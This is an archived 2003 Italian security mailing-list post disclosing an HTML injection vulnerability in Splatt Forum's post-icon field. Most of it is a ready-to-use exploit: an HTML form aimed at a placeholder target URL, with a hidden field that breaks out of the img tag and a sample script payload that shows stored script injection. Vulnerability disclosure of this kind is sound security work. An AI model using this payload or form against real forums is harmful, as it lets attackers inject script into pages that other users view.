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Archivio: Luglio 2003 ml@sikurezza.org
Soggetto: Splatt Forum html injection code in post icon
Mittente: blangels
Data: 17 Jul 2003 13:53:35 -0000

[ Vulnerability description]

Any user can inject html code when create a new post.
The bug is in the post icon :
<img src="icon.gif" etc.>
If you create a personalized form with this code:
icon.gif"><script>alert('bug');<script><anytag="
the final code of the post icon is :
<imgsrc="icon.gif"><script>alert('bug');<script><anytag="" etc.>


[ Exploit's code ]

<html>
<body>
<script>
<!-- Modify here -->
var address='http://TargetURL/gate.html?mop=modload&name=Forums&file=newtopic';
</script> 

<!-- Exploit form -->
<script>
document.write("<form action="+address+" method='post' name='coolsus'>");
</script>
Numero forum: <input type=text name=forum value=1 size=3><br>
Username: <input CLASS=textbox TYPE="TEXT" NAME="username" SIZE="25" MAXLENGTH="40"><br>
Password: <input CLASS=textbox TYPE="PASSWORD" NAME="password" SIZE="25" MAXLENGTH="25"><br>
Soggetto: <input CLASS=textbox TYPE="TEXT" NAME="subject" SIZE="75" MAXLENGTH="75"><br>
Messaggio:<br><textarea name="message" rows="10" cols="75" wrap="VIRTUAL"></textarea><br>
<input type=hidden name=bbcode value=0>
<input type=hidden name=smile value=0>
<input type=hidden name=notify value=0>
<b>Inject code:</b> <input type=text name=image_subject value='icon1.gif">HTML CODE<!-- "' size=100><br>
<input type="submit" name="submit" value=Invia class="Button">
</form>
</body>
</html> 
 
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Vulnerability and exploit by Nemesis
BlackAngels [ Security Research and Development ]
----------------------------------------------------------------------------
==============================
http://www.blangels.it or staff@xxxxxxxxxxx
==============================


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